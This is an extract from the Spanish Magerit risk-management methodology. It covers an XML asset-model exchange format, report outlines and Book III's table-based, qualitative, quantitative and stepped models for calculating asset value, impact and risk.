No suelen identificarse dependencias.

Magerit versión 2 Modelo de valor
Apéndice 3. Modelo de valor

En este apéndice se describe un formato XML para el intercambio de modelos de activos entre
herramientas. Este formato debe entenderse como de mínimos, en el sentido de que las herra
mientas pueden incorporar información adicional a la prescrita.
La información que se intercambia incluye
• identificación de los activos, con un código y un nombre descriptivo
• identificación de bajo qué tipo(s) cabe clasificar el activo
• identificación de las dependencias entre activos
• valoración de los activos en diferentes dimensiones
A3.1. Formato XML

modelo ::=
<modelo>
{ dato }*
{ activo }*
{ dependencia }*
{ valoración }*
</modelo>
dato ::=
<dato clave texto />
activo ::=
<activo código>
#nombre#
{ tipo }+
{ dato }*
</activo>
tipo ::=
<tipo tipo />
dependencia ::=
<dependencia superior inferior grado />
valoración ::=
<valoracion activo dimension valor />
atributo ejemplo descripción

código codigo=”X” Acrónimo que identifica unívocamente un activo en un
modelo; es decir, que no pueden haber códigos repeti
dos.
clave clave=”responsable” Aparece como características adicionales que informan
sobre el modelo o activo. Típicamente aparecen claves
como autor, organización, documentación relevante, cla
sificación, ubicación, fecha, versión, etc.
texto texto=”JRP” Texto asociado a la clave en una característica.
tipo tipo=”T” T es el código de alguno de los tipos definidos.
Ver capítulo 2.
superior superior=”X” X es el código de algún activo del modelo.

Magerit versión 2 Modelo de valor
atributo ejemplo descripción

inferior inferior=”X” X es el código de algún activo del modelo.
grado grado=”valor” Un número real entre 0.0 y 1.0.
activo activo=”X” X es el código de algún activo del modelo.
dimension dimension=”D” D es el código de alguna de las dimensiones definidas.
Ver capítulo 3.
valor valor=”[clave]” Puede ser una clave simbólica o una cantidad real, posi
valor=”valor” tiva.
Ver capítulo 4.

Magerit versión 2 Informes
Apéndice 4. Informes
A lo largo del proyecto de análisis y gestión de riesgos se han identificado una serie de informes
para los cuales se propone un índice a continuación. Frecuentemente, se puede extraer de estos
informes un informe ejecutivo que excluye los detalles.
A4.1. Modelo de valor

Caracterización del valor que representan los activos para la Organización así como de las
dependencias entre los diferentes activos.
1. Identificación del proyecto
Código, descripción, propietario, organización.
Versión, fecha.
Biblioteca de referencia.
2. Activos
2.1. Árbol de activos (relaciones de dependencia)
2.2. Valoración de los activos (valor propio)
Indicando la razón de la valoración atribuida a cada activo en cada dimensión.
3. Descripción detallada
Para cada activo:
• clasificación (ver capítulo 2)
• activos superiores e inferiores
• valoración: valor propio y acumulado en cada dimensión
A4.2. Mapa de riesgos

Relación de las amenazas a que están expuestos los activos.
Versión, fecha.
2. Activos
2.1. Árbol de activos (relaciones de dependencia)
2.2. Valoración de los activos (valor propio)
Indicando la razón de la valoración atribuida a cada activo en cada dimensión.
3. Amenazas por activo
Para cada activo:
• amenazas relevantes (ver capítulo 5)
• degradación estimada en cada dimensión
• frecuencia anual estimada
4. Activos por amenaza
Para cada amenaza:
• activos afectados
• degradación estimada en cada dimensión
• frecuencia anual estimada

A4.3. Evaluación de salvaguardas

Evaluación de la eficacia de las salvaguardas existentes en relación al riesgo que afrontan.
Se trabaja respecto de
• un catálogo de salvaguardas (ver capítulo 5)
Versión, fecha.
2. Salvaguardas (ver capítulo 5)
Para cada salvaguarda, al nivel de detalle que se estime oportuno, indicación de su eficacia
frente a los riesgos a los que se enfrenta.
Si procede, muéstrese la evolución histórica y la planificación actual.
A4.4. Estado de riesgo

Caracterización de los activos por su riesgo residual; es decir lo que puede pasar tomando
en consideración las salvaguardas desplegadas.
Versión, fecha.
2. Activos
Para cada activo:
1. Impacto acumulado
2. Riesgo acumulado
3. Impacto repercutido
4. Riesgo repercutido
Si procede, muéstrese la evolución histórica y el efecto de la planificación actual.
A4.5. Informe de insuficiencias

Ausencia o debilidad de las salvaguardas que aparecen como oportunas para reducir el
riesgo sobre el sistema.
Se trabaja respecto de
• un catálogo de salvaguardas (ver capítulo 5)
• un umbral de eficacia
Versión, fecha.
2. Salvaguardas
Para cada salvaguarda, al nivel de detalle que se estime oportuno, cuya eficacia sea infe
rior a un umbral determinado, indicación de su eficacia frente a los riesgos a los que se en
frenta.
Si procede, muéstrese la evolución histórica y la planificación actual.

A4.6. Plan de seguridad

Conjunto de programas de seguridad que permiten materializar las decisiones de gestión
de riesgos.
1. Marco de referencia
• Política de seguridad de la organización
• Relación de normas y procedimientos
2. Responsables y responsabilidades (a nivel de organización)
3. Programas de seguridad
Por cada programa identificado:
• objetivo genérico
• prioridad o urgencia
• ubicación temporal: ¿cuándo se llevará a cabo?
• salvaguardas involucradas
• unidad responsable de su ejecución
• estimación de costes financieros
• estimación de recursos
• estimación de impacto para la organización
Cuando llega el momento para ser acometido, cada programa de seguridad debe detallar:
• Su objetivo genérico.
• Las salvaguardas concretas a implantar o mejorar, detallando sus objetivos de calidad, efi
cacia y eficiencia
• La relación de escenarios de impacto y/o riesgo que afronta: activos afectados, tipos de acti
vos, amenazas afrontadas, valoración de activos y amenazas y niveles de impacto y riesgo
• La unidad responsable de su ejecución.
• Una estimación de costes, tanto económicos como de esfuerzo de realización, teniendo en

cuenta:
• costes de adquisición (de productos), o de contratación (de servicios), o de desarrollo (de
soluciones llave en mano), pudiendo ser necesario evaluar diferentes alternativas
• costes de implantación inicial y mantenimiento en el tiempo
• costes de formación, tanto de los operadores como de los usuarios, según convenga al
caso
• costes de explotación
• impacto en la productividad de la Organización
• Una relación de subtareas a afrontar, teniendo en cuenta
• cambios en la normativa y desarrollo de procedimientos
• solución técnica: programas, equipos, comunicaciones y locales,
• plan de despliegue
• plan de formación

• Una estimación del tiempo de ejecución desde su arranque hasta su puesta en operación.
• Una estimación del estado de riesgo (impacto y riesgo residual a su compleción).
• Un sistema de indicadores de eficacia y eficiencia que permitan conocer en cada momento

la calidad del desempeño de la función de seguridad que se desea y su evolución temporal.

Libro III - Guía de Técnicas
Libro III - Guía de Técnicas




Edita:

NIPO: 630-12-171-8
Índice
1. Introducción ...................................................................................................................4
2. Técnicas específicas .....................................................................................................5
2.1. Análisis mediante tablas.........................................................................................................6
2.1.1. Referencias.....................................................................................................................7
2.2. Análisis algorítmico. ...............................................................................................................8
2.2.1. Un modelo cualitativo .....................................................................................................8
2.2.2. Un modelo cuantitativo .................................................................................................12
2.2.3. Un modelo escalonado .................................................................................................16
2.2.4. Sobre la eficacia de las salvaguardas ..........................................................................20
2.3. Árboles de ataque ................................................................................................................22
2.3.1. Nodos con atributos......................................................................................................22
2.3.2. Riesgo residual .............................................................................................................23
2.3.3. Construcción del árbol ..................................................................................................23
2.3.4. Referencias...................................................................................................................24
3. Técnicas generales......................................................................................................25
3.4. Técnicas gráficas .................................................................................................................26
3.4.2. Por puntos y líneas .......................................................................................................26
3.4.3. Por barras .....................................................................................................................27
3.4.4. Gráficos de ‘radar’ ........................................................................................................28
3.4.5. Diagramas de Pareto....................................................................................................29
3.4.6. Diagramas de tarta .......................................................................................................33
3.6. Sesiones de trabajo..............................................................................................................34
3.6.1. Entrevistas ....................................................................................................................34
3.6.2. Reuniones.....................................................................................................................35
3.6.3. Presentaciones .............................................................................................................36
3.6.4. Referencias...................................................................................................................37
3.7. Valoración Delphi .................................................................................................................38
3.7.1. Resumen ejecutivo .......................................................................................................38
3.7.2. Aspectos sociológicos ..................................................................................................39
3.7.3. Análisis de las respuestas ............................................................................................40
3.7.4. Resumen ......................................................................................................................41
3.7.5. Referencias...................................................................................................................42

1. Introducción
Este documento la guía metodológica Magerit. Se presume el conocimiento y comprensión de los
conceptos de análisis y gestión de riesgos, según se exponen en la guía metodológica.
El objetivo de este documento es describir algunas técnicas utilizadas en análisis y gestión de
riesgos. Se considera técnica a un conjunto de heurísticos y procedimientos que ayudan a alcan-
zar los objetivos propuestos.
Para cada una de las técnicas referenciadas:
• se explica brevemente el objetivo que se persigue al utilizarlas,
• se describen los elementos básicos asociados,
• se exponen los principios fundamentales de elaboración,
• se presenta una notación textual y/o gráfica y
• y se citan las fuentes bibliográficas que, sin ser exhaustivas, se han estimado de interés pa-
ra que el lector profundice en cada materia.
Todas las técnicas de este libro pueden utilizarse sin ayudas automatizadas; pero su aplicación
repetitiva o compleja recomienda el empleo de herramientas tan amplia y frecuentemente como
sea posible.
Es importante resaltar que la notación que se propone en la aplicación de la técnica en ningún ca-
so se considerará obligatoria. Cada organización podrá utilizar la notación que desee, la que suele
utilizar o la que ofrecen sus herramientas de desarrollo, respetando las reglas y restricciones es-
pecíficas de las distintas técnicas.

Magerit 3.0 Técnicas específicas
2. Técnicas específicas
En este capítulo nos centraremos en algunas técnicas muy específicas de los proyectos de análi-
sis y gestión de riesgos, técnicas que no se utilizan en otros contextos de trabajo.
Se han considerado de especial interés:
1. uso de tablas para la obtención sencilla de resultados
2. técnicas algorítmicas para la obtención de resultados elaborados
3. árboles de ataque para complementar los razonamientos de qué amenazas se ciernen sobre
un sistema de información
que se desarrollan en las siguientes secciones.

Magerit 3.0 Análisis algorítmico
2.1. Análisis mediante tablas

Dícese análisis de la distinción y separación de las partes de un todo hasta llegar a conocer sus
principios o elementos. En el análisis de riesgos hay que trabajar con múltiples elementos que hay
que combinar en un sistema para ordenarlo por importancia sin que los detalles, muchos, perjudi-
quen la visión de conjunto.
La experiencia ha demostrado la utilidad de métodos simples de análisis llevados a cabo por me-
dio de tablas que, sin ser muy precisas, sí aciertan en la identificación de la importancia relativa de
los diferentes activos sometidos a amenazas.
Sea la escala siguiente útil para calificar el valor de los activos, la magnitud del impacto y la mag-
nitud del riesgo:
• MB: muy bajo
• B: bajo
• M: medio
• A: alto
• MA: muy alto
Estimación del impacto

Se puede calcular el impacto en base a tablas sencillas de doble entrada:
degradación
impacto
1% 10% 100%
MA M A MA
A B M A
valor M MB B M
B MB MB B
MB MB MB MB
Aquellos activos que reciban una calificación de impacto muy alto (MA) deberían ser objeto de
atención inmediata.

Estimación del riesgo

Por otra parte se modelan impacto, probabilidad y riesgo por medio de escalas cualitativas:
escalas
impacto probabilidad riesgo
MA: muy alto MA: prácticamente seguro MA: crítico
A: alto A: probable A: importante
M: medio M: posible M: apreciable
B: bajo B: poco probable B: bajo
MB: muy bajo MB: muy raro MB: despreciable
Pudiendo combinarse impacto y frecuencia en una tabla para calcular el riesgo:
probabilidad
riesgo
MB B M A MA
MA A MA MA MA MA
A M A A MA MA
impacto M B M M A A
B MB B B M M
MB MB MB MB B B
2.1.1. Referencias
• ISO/IEC 27005:2011, Information technology — Security techniques — Information security
risk management.
• ISO 31010
ISO/IEC 31010:2009, Risk management — Risk assessment techniques.
UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo.
B.29 Matriz de consecuencia / probabilidad

2.2. Análisis algorítmico.

Dícese análisis de la distinción y separación de las partes de un todo hasta llegar a conocer sus
principios o elementos. En ciencias químicas, dícese análisis cualitativo del que tiene por objeto
descubrir y aislar los elementos o ingredientes de un cuerpo compuesto. A diferencia del análisis
cuantitativo que es el que se emplea para determinar la cantidad de cada elemento o ingrediente.
En las siguientes secciones se presentan dos enfoques algorítmicos. Primero, un modelo cualitati-
vo que busca una valoración relativa del riesgo que corren los activos (¿qué es lo más frente a
qué es lo menos?). Segundo, un modelo cuantitativo que ambiciona responder a la pregunta de
cuánto más y cuánto menos. A continuación se presenta un modelo escalonado, típico del análisis
de impacto sobre la disponibilidad de los sistemas de información. Por último se incluye un modelo
para estimar la eficacia de un paquete de salvaguardas.
2.2.1. Un modelo cualitativo

En un análisis de riesgos cualitativo se busca saber qué es lo que hay, sin cuantificarlo con preci-
sión más allá de relativizar los elementos del modelo.
En esta sección se presenta un modelo de cálculo que trabaja sobre una escala discreta de valo-
res.
Valores.
En un análisis de riesgos es necesario poder valorar, al menos relativamente, los elementos invo-
lucrados. En particular, los activos, el impacto de las amenazas y el riesgo que se corre.
Para todo ello se usará una escala de niveles simbólicos:
V = { 0, ..., v 0 , v 1 , ..., v i , ... }
El valor 0 representa que no vale absolutamente nada.
Esta serie de niveles satisface las siguientes propiedades:
• elemento mínimo: ∀ i, 0 < v i
• orden total: ∀ i, v i < v i+1
• existe un elemento singular, “v 0 ”, que se denomina “despreciable” 1 .
Informalmente, se dice que un activo tiene “i puntos” para indicar que su valoración es “v i “ 2 .
El valor de los activos.

Cada activo, en cada dimensión, recibe un valor de la escala V.
Los activos reciben una valoración en cada una de las dimensiones de seguridad.
Las dependencias entre activos.

Sólo hay que preocuparse de si un activo A depende, significativamente, o no de otro activo B. Es
decir, la dependencia entre activos es un valor booleano: sí o no.
A→B
La dependencia puede ser transitiva:
(A → B) ∧ (B → C)
A depende de B; B depende de C.
1 Este nivel despreciable establece una frontera, subjetiva, entre lo que es apreciable y debe preocupar, y
lo que es despreciable y se puede obviar. Se despreciarán los valores por debajo de v 0 .
2 Si el lector lo desea, en este sistema de valoración, puede interpretar los puntos como órdenes de mag-
nitud; por ejemplo, interpretando v x como 10x.

E incluso puede dibujar figuras de diamante: A
(A → B 1 ) ∧ (A → B 2 ) ∧ (B 1 → C) ∧ (B 2 → C)
A depende de B1 y B2; B1 y B2 dependen de C.
B1 B2
Interesa pues del cierre transitivo de las dependencias directas entre activos.
A ⇒ C ⇔ ∃ B, ( A ⇒ B ) ∧ ( B → C )
A depende (indirectamente) de C sí y sólo si
existe algún activo B tal que A depende directa o indirectamente de B y
B depende directamente de C.
En lo que sigue no se distingue entre dependencias directas o indirectas.
El valor acumulado.
Sea SUP(B) el conjunto superiores de B, es decir el conjunto de activos que dependen directa o
indirectamente de B:
SUP(B) = { A i , A i ⇒ B }
Se define el valor acumulado sobre B como el mayor valor entre el propio y el de cualquiera de
sus superiores:
valor_acumulado(B) = max (valor(B), max i {valor(A i )})
La fórmula anterior dice que el valor acumulado sobre un activo es el mayor de los valores que
soporta, bien propio, bien de alguno de sus superiores.
La degradación [del valor] de un activo.

Cuando un activo es víctima de una amenaza, una parte de su valor se pierde. Intuitivamente, se
habla de un “porcentaje de degradación del activo”, de forma que se puede perder entre un 0% y
un 100%. Se recoge “d” como un valor real entre 0,0 (degradación del 0%) y 1,0 (degradación del
100%).
Impacto acumulado de una amenaza sobre un activo.

Es la medida de lo que implica una amenaza; es decir, la pérdida de valor acumulado. El impacto
se mide en las mismas unidades que el valor.
Si un activo tiene un valor acumulado “v“ y se degrada un porcentaje “d”, el valor del impacto se
calcula con alguna función que cumpla las siguientes condiciones de contorno
impacto(0, 0%) = 0
impacto(v, 0%) = 0
impacto(v, 100%) = v
∀ d, v i < v j ⇒ impacto(v i , d) < impacto(v j , d)
∀ v, d i < d j ⇒ impacto(v, d i ) < impacto(v, d j )
Cuando el impacto queda a “v 0 ”, o menos, se dice que el impacto es despreciable.

Impacto repercutido de una amenaza sobre un activo.

activo
activoAA
Si el activo A depende del activo B, las amenazas sobre B reper-
cuten sobre A. Si B sufre una degradación “d”, eso mismo le ocu-
rre a A, siendo el impacto sobre A la pérdida de su valor propio. Si
A tiene un valor propio “v A “, y B tiene un valor propio v B , los im- activo
activoBB amenaza Z
pactos sobre A y B serán:
impacto sobre A = impacto(v A , d)
impacto sobre B = impacto(v B , d)
Cuando el impacto queda reducido a “v 0 ”, se dice que el impacto es despreciable.
Probabilidad de una amenaza.

Para caracterizar la probabilidad de las amenazas se usará una escala de valores simbólicos:
P = { 0, ..., p 0 , p 1 , ..., p i , … }
El valor 0 refleja el suceso imposible. El valor p 0 refleja una probabilidad despreciable.
Es decir, una serie de niveles de probabilidad, que son los elementos o átomos de análisis.
Esta serie de niveles satisface las siguientes propiedades:
• orden total: ∀ j, p j < p j+1
• existe un elemento singular, “f 0 ”, que se denomina “probabilidad despreciable”
Riesgo.
El riesgo se mide por medio de la escala de valores, que es distinta de la escala de valores.
R = { 0, ..., r 0 , r 1 , ..., r i , … }
El valor 0 refleja el riesgo inexistente.
El riesgo es una función del impacto y la probabilidad:
riesgo = ℜ(impacto, probabilidad)

función que hay que definir con los siguientes requisitos:
• ℜ(0, p) = 0
• ℜ(v, 0) = 0
• crece con el valor: ∀ f, v i < v j ⇒ ℜ(v i , p) < ℜ(v j , p)
• crece con la probabilidad: ∀ v, p i < p j ⇒ ℜ(v, p i ) < ℜ(v , p j )

El riesgo puede tomar el valor “r 0 ”, e incluso valores inferiores, en cuyo caso se entiende que el
riesgo es “despreciable”.
Habitualmente se emplea alguna función que de más peso al impacto que a la probabilidad. Ver
“análisis tabular”.
Riesgo acumulado.
En el cálculo del riesgo acumulado, se usará el impacto acumulado sobre el activo.
Riesgo repercutido.
En el cálculo del riesgo repercutido, se usará el impacto repercutido sobre el activo.

Paquete de salvaguardas.
Frente a una amenaza se desplegará una serie de salvaguardas, un paquete de salvaguardas,
cuya eficacia, “e”, se calcula según se indica más adelante. Baste adelantar que la eficacia es un
valor real entre 0,0 (no protege nada) y 1,0 (salvaguarda plenamente eficaz), valor que se puede
descomponer en una eficacia frente al impacto, “ei”, y una eficacia frente a la probabilidad “ep”.
Degradación residual.
Si el activo, sin protección, podía sufrir una degradación “d”, gracias a las salvaguardas la degra-
dación se ve reducida a un valor residual “dr”:
dr(0, ei) = 0
dr(d, 0) = d
dr(d, 1) = 0
El impacto residual.
El impacto residual se calcula como el impacto, pero utilizando la degradación residual:
impacto_residual = impacto(v, dr)
Un paquete de salvaguardas perfectamente eficaz reduce el impacto a un valor residual “v 0 ”, es
decir, al nivel de despreciable. Si las salvaguardas son insuficientes, el impacto seguirá siendo
apreciable.
El impacto acumulado residual se calcula sobre el valor acumulado.
El impacto residual repercutido se calcula sobre el valor propio.
La probabilidad residual.
De forma similar al impacto, la probabilidad de la amenaza sobre el activo se ve reducida a un va-
lor residual. Si la probabilidad era “p”, ahora queda:
pr(0, ep) = 0
pr(p, 0) = p
pr(p, 1) = 0
p
Siendo “e ” la eficacia de las salvaguardas mitigando la probabilidad de ocurrencia de la amenaza.
“ef” es un valor entre 0,0 (0% de eficacia; o sea, inútil) y 1,0 (100% de eficacia; o sea, perfecta).
Riesgo residual.
Es el riesgo calculado a partir del impacto y frecuencia residuales:
riesgo_residual = ℜ(impacto_residual, frecuencia_residual)

El riesgo residual acumulado se calcula sobre el impacto residual acumulado.
El riesgo residual repercutido se calcula sobre el impacto residual repercutido.
Resumen
En este modelo, denominado cualitativo, se han posicionado los activos en una escala de valor
relativo, definiendo arbitrariamente un valor “v 0 ” como frontera entre los valores que preocupan y
los que son despreciables.
Sobre esta escala de valor se ha medido tanto el valor del activo, propio o acumulado, como el
impacto de una amenaza cuando ocurra y el riesgo al que está expuesto.
Mientras el impacto mide el valor de la desgracia potencial, el riesgo pondera ese impacto con la
frecuencia estimada de ocurrencia de la amenaza. El impacto es la medida del coste si ocurriera
mientras que el riesgo mide la exposición en un determinado periodo de tiempo.

Las estimaciones de impacto y riesgo residual incorporan la eficacia de las salvaguardas para en-
frentarse a la amenaza, bien limitando el impacto, “ei”, bien reduciendo la probabilidad, “ep”.
El modelo pues combina los siguientes parámetros de análisis:
• calibración del valor del activo por medio de una escala discreta
• calibración de la degradación que supone una amenaza como un porcentaje
• calibración de la probabilidad de ocurrencia de la amenaza por medio de una escala discreta
• vertebración de un paquete de salvaguardas
• calibración de la eficacia de las salvaguardas por medio de un porcentaje
Parámetros todos ellos que permiten moverse arriba y abajo por las escalas de valores.
2.2.2. Un modelo cuantitativo

En un análisis de riesgos cuantitativo se busca saber qué y cuánto hay, cuantificando todos los
aspectos posibles.
El modelo que sigue no trabaja sobre una escala discreta de valores, sino con números reales (en
el sentido matemático) positivos.

El valor de un activo en una cierta dimensión es un valor real superior a cero.
Se determina que un cierto valor, “v 0 “, representa la frontera entre los valores que son desprecia-
bles y los que son relevantes.

Interesa tanto de saber si un activo A depende o no de otro activo B, como de saber en qué grado.
Se aplican los conceptos de dependencia directa o indirecta expuestos en el modelo cualitativo;
pero ahora se calificará la dependencia por medio de un coeficiente entre 0,0 (activos indepen-
dientes) y 1,0 (activos con dependencia absoluta). A este coeficiente se le denomina grado de de-
pendencia.
Como la dependencia puede ser directa o indirecta, se calculará del cierre transitivo de las depen-
dencias directas entre activos.
A ⇒ C ⇔ ∃ B, ( A ⇒ B ) ∧ ( B → C )
A depende (indirectamente) de C sí y sólo si existe algún activo B tal que A depende
directa o indirectamente de B y B depende directamente de C.
Calculando el grado de dependencia como:
grado(A ⇒ C) = Σ i { grado(A ⇒ B i ) × grado(B i → C) }

Donde las sumas se realizan de acuerdo con esta fórmula:
a + b = 1 − (1 − a) × (1 − b) 3
3 Esta manera de sumar satisface las propiedades conmutativa, asociativa y existencia de un elemento
neutro, amén de acotar el resultado al rango [0..1] si los sumandos están dentro de dicho rango.
La elección de esta curiosa fórmula, tomada del cálculo de probabilidades de Bayes, deriva de la necesi-
dad de reflejar el hecho de que si un activo depende de otro por varias vías (estructuras de diamante), la
dependencia total no puede superar el 100%.

Ejemplos.
En lo que sigue no se distingue entre dependencias directas o indirectas.
El valor acumulado.
Sea SUP(B) el conjunto de superiores de B, es decir el conjunto de activos que dependen directa
o indirectamente de B:
SUP(B) = { A i , A i ⇒ B }
Se define el valor acumulado sobre B como la suma (tradicional) de valores de los activos superio-
res, ponderados por el grado de dependencia:
valor_acumulado(B) = valor(B) +Σ i { valor(A i ) × grado(A i ⇒ B) }
La degradación [del valor] de un activo.

Cuando un activo es víctima de una amenaza, una parte de su valor se pierde. Intuitivamente, se
habla de un “porcentaje de degradación del activo”, de forma que se puede perder entre un 0% y
un 100%. Se recogerá “d” como un valor real entre 0,0 (degradación del 0%) y 1,0 (degradación
del 100%).
Impacto acumulado de una amenaza sobre un activo.

Es la pérdida de valor acumulado. Si un activo tiene un valor acumulado ”v” y sufre una degrada-
ción ”d”, el impacto es
impacto = i = v × d
Ejemplo.
Si un activo está valorado en 1.000.000 y sufre una degradación del 90%, el impacto acumu-
lado es de cuantía 900.000.
Cuando el impacto queda reducido a “v 0 ”, o menos, se dice que el impacto es despreciable.
Impacto repercutido de una amenaza sobre un activo.

Si el activo A depende del activo B, las amenazas sobre B repercuten sobre A. Si B sufre una de-
gradación ”d”, A pierde en la proporción en que dependa de B. Si el activo A tiene un valor propio
“v”, el impacto es
impacto = v × d × grado(A ⇒ B)

Ejemplo.
Sea un activo A valorado en 1.000.000, que depende de otro activo B (cuyo valor no interesa
aquí) en un 30%. Si B es víctima de una amenaza que lo degrada un 90%, A sufre un impac-
to repercutido de cuantía
1.000.000 x 90% x 30% = 270.000
Cuando el impacto queda reducido a “v 0 ”, o menos, se dice que el impacto es despreciable.
Probabilidad de una amenaza.

Para medir la probabilidad utilizaremos la frecuencia esperada de ocurrencia (ARO – Annual Rate
of Occurrence) .La frecuencia de una amenaza es un valor real superior a cero.
Se determina un valor “f 0 “ como frecuencia “despreciable”, por debajo de la cual la amenaza no
merece ser tomada en consideración.
Riesgo.
El riesgo se mide en las misma unidades que el valor.
El riesgo se calcula como
riesgo = impacto × frecuencia
Es un valor real, mayor que cero.
Ejemplo.
Sea un activo valorado en 1.000.000, que es víctima de una amenaza que lo degrada un
90%. El impacto es de cuantía
1.000.000 x 90% = 900.000
Si el activo está expuesto a la amenaza con una frecuencia estimada de 0,1, el riesgo esti-
mado es de cuantía
900.000 x 0,1 = 90.000
Si los valores son euros y la frecuencia mide tasa anual (o sea, si 0,1 significa una vez cada
10 años), entonces la pérdida posible de valor es de 900.000 euros, mientras que la pérdida
anual prevista es de 90.000 euros.
Riesgo acumulado.
En el cálculo del riesgo acumulado, se usará el impacto acumulado sobre el activo; es decir, la
pérdida de valor acumulado por amenazas sobre el mismo.
Riesgo repercutido.
En el cálculo del riesgo repercutido, se usará el impacto repercutido sobre el activo; es decir, la
pérdida de valor propio por amenazas en activos inferiores.
Frente a una amenaza se despliega una serie de salvaguardas, un paquete de salvaguardas, cuya
eficacia, “e”, se calcula según se indica más adelante. Baste adelantar que la eficacia es un valor
real entre 0,0 (no protege) y 1,0 (salvaguarda plenamente eficaz), valor que se puede descomponer
en una eficacia frente al impacto, “ei”, y una eficacia frente a la frecuencia “ef”, de forma que
(1 − ei) × (1 − ef) = 1 − e 4
4 La fórmula elegida disfruta de las siguientes propiedades. Si ei= 0% y ef= 0%, e= 0%. Si ei= 0%, e= ef. Si
ef= 0%, e= ei. Si ei o ef= 100%, e= 100%. El resultado es pues creciente con los componentes ei y ef, es-
tando al tiempo acotado al rango [0%..100%].

Degradación residual.
Es la parte de la degradación que no consigue contrarrestar la eficacia del paquete de salvaguar-
das aplicado.
Un sistema de salvaguardas absolutamente ineficaz (ei = 0 ) deja el impacto donde estaba, mien-
tras que un sistema de salvaguardas plenamente eficaz (ei = 1) reduce el impacto a 0.
Ejemplo
1.000.000 x 90% = 900.000
Si las salvaguardas tienen un 90% de eficacia sobre el impacto, el impacto residual es
impacto residual = 900.000 * (1 – 0.9) = 90.000
El impacto acumulado se realiza con los datos de impacto acumulado sobre un activo y las salva-
guardas adecuadas para las amenazas sobre dicho activo.
El impacto repercutido se realiza con los datos de impacto repercutido sobre el activo superior y
las salvaguardas adecuadas para las amenazas del activo inferior.
La frecuencia residual.
Un sistema de salvaguardas absolutamente ineficaz (ef = 0 ) deja la frecuencia donde estaba,
mientras que un sistema de salvaguardas plenamente eficaz (ef = 1) reduce la frecuencia a 0.
Al igual que para calcular el impacto residual, se suele emplear alguna función de tipo Pareto.
El riesgo residual.
Puede derivarse indirectamente como
riesgo_residual = impacto_residual x frecuencia residual
Ejemplo
impacto = 1.000.000 x 90% = 900.000
Si la frecuencia anual estimada es de 0,1, el riesgo es de cuantía
riesgo = 900.000 x 0,1 = 90.000 = pérdida anual estimada
Si las salvaguardas tienen un 90% de eficacia sobre el impacto, el impacto residual es
impacto residual = 900.000 x (1 – 90%) = 90.000
Si las salvaguardas tienen un 50% de eficacia sobre la frecuencia, la eficacia combinada de
las salvaguardas es
frecuencia residual = 0,1 x (1 – 50%) = 0,05
y el riesgo residual es
riesgo residual = 90.000 * 0,05 = 4.500 (pérdida anual estimada)
Si las cantidades son euros y las frecuencias anuales, la pérdida posible es de 90.000 euros
y la pérdida anual se estima en 4.500 euros.

Resumen
En este modelo, denominado cuantitativo, se trabaja con valores que son números reales, siempre
superiores a cero.
Se modela el grado de dependencia entre activos como un continuo entre 0,0 (activos indepen-
dientes) y 1,0 (activos absolutamente dependientes; lo que ocurre sobre el inferior repercute con-
tundentemente sobre el superior).
Se mide tanto el valor del activo, propio o acumulado, como el impacto de una amenaza cuando
ocurra y el riesgo que supone.
Mientras el impacto mide el valor de la desgracia potencial, el riesgo pondera ese impacto con la
frecuencia estimada de ocurrencia de la amenaza. El impacto mide el coste si ocurriera mientras
que el riesgo es la medida de la exposición en un periodo de tiempo.
Si la valoración del activo es económica (coste monetario que significaría su pérdida total y abso-
luta), el impacto calculado es el coste inducido por la amenaza y el riesgo calculado es la cantidad
que hay que prever como pérdidas anuales. El modelo cuantitativo permite pues comparar el gas-
to en salvaguardas con la disminución de pérdidas.
Las estimaciones de impacto y riesgo residual incorporan la eficacia de las salvaguardas para en-
frentarse a la amenaza.
Si la valoración del activo es económica, el modelo cuantitativo permite comparar el gasto en sal-
vaguardas con la disminución de pérdidas.
El modelo pues combina los siguientes parámetros de análisis:
• calibración del valor del activo por medio de una cantidad numérica
• calibración de la dependencia entre activos por medio de un porcentaje
• calibración de la degradación que supone una amenaza por medio de un porcentaje
• calibración de la frecuencia de ocurrencia de la amenaza por medio de una frecuencia
• vertebración de un paquete de salvaguardas
• calibración de la eficacia de las salvaguardas por medio de un porcentaje
Parámetros todos ellos que permiten moverse arriba y abajo por la escala de valores.
2.2.3. Un modelo escalonado

Ciertas dimensiones de degradación de un activo se modelan más adecuadamente como escalo-
nes de valor. El caso típico es la interrupción del servicio, que responde a esquemas como el si-
guiente

coste de [la interrupción de la] disponibilidad
10
6
coste
4
0
15m
30m
1h
2h
6h
1d
2d
S1
1s
2s
1m
2m
6m
1a
total
duración de la parada
donde se observa una serie de escalones de interrupción que terminan con la destrucción total o
permanente del activo.
En los párrafos siguientes se indica como analizar este tipo de dimensiones, bien sea de forma
cualitativa (escala discreta de niveles de valor) o cuantitativa (valor continuo).
Los escalones.
Se determina una serie, ordenada, de escalones de valoración:
E = { e 1 , e 2 , ..., e n }, donde e 1 < e 2 < ... < e n
Cada escalón refleja un tiempo de parada (ver gráfica ilustrativa anterior).

El activo recibe un valor para cada uno de los escalones
v[e i ]
valor que puede ser cualitativo o cuantitativo, según el tipo de análisis de interés; pero siempre
con la condición de que la serie sea monótona creciente:
v[e 1 ] ≤ v[e 2 ] ≤ … ≤ v[e n ]

Se usará el tratamiento cualitativo (binario: sí o no) o el cuantitativo (grado) según corresponda.
El valor acumulado.
Se calculará independientemente (en paralelo) para cada escalón.
Es decir, para cada activo se estima un valor propio y un valor acumulado en cada escalón.
Ejemplo.
Una unidad administrativa proporciona un servicio de reclamaciones que, tradicionalmente,
se ha prestado de forma escrita: el afectado reclama por carta y se le responde en el plazo
máximo de 1 semana. Actualmente ha introducido una ventanilla electrónica alternativa en la
que se ha considerado excelente una respuesta en menos de 1 hora (en horario de atención
al público). A partir de una hora, la imagen ofrecida a los ciudadanos empieza a resentirse. Si
el servicio se demora más de un día, se considera inútil, aunque de una gravedad relativa
pues siempre queda la opción de la reclamación por escrito.

Ambos servicios dependen de un equipamiento informático que hereda las valoraciones de

ambos servicios:
activo 1h 1d 1s
escrito [0] [0] [8]
web [3] [5] [5]
servidor [3] [5] [8] acumulado
Degradación [del valor] de un activo.

Se indicará como el escalón “e i “ al que conduce la materialización de la amenaza.
Así, si la consecuencia de una amenaza Z es una parada de 2 horas, se tomará el escalón co-
rrespondiente, cuyo valor económico se valoró anteriormente.
El impacto de una amenaza sobre un activo.

Es el valor correspondiente al escalón de degradación, “v[e i ]”.
El impacto acumulado empleará en valor acumulado sobre el activo que es víctima de la amenaza.
El impacto repercutido empleará el valor propio del activo superior en el escalón de degradación
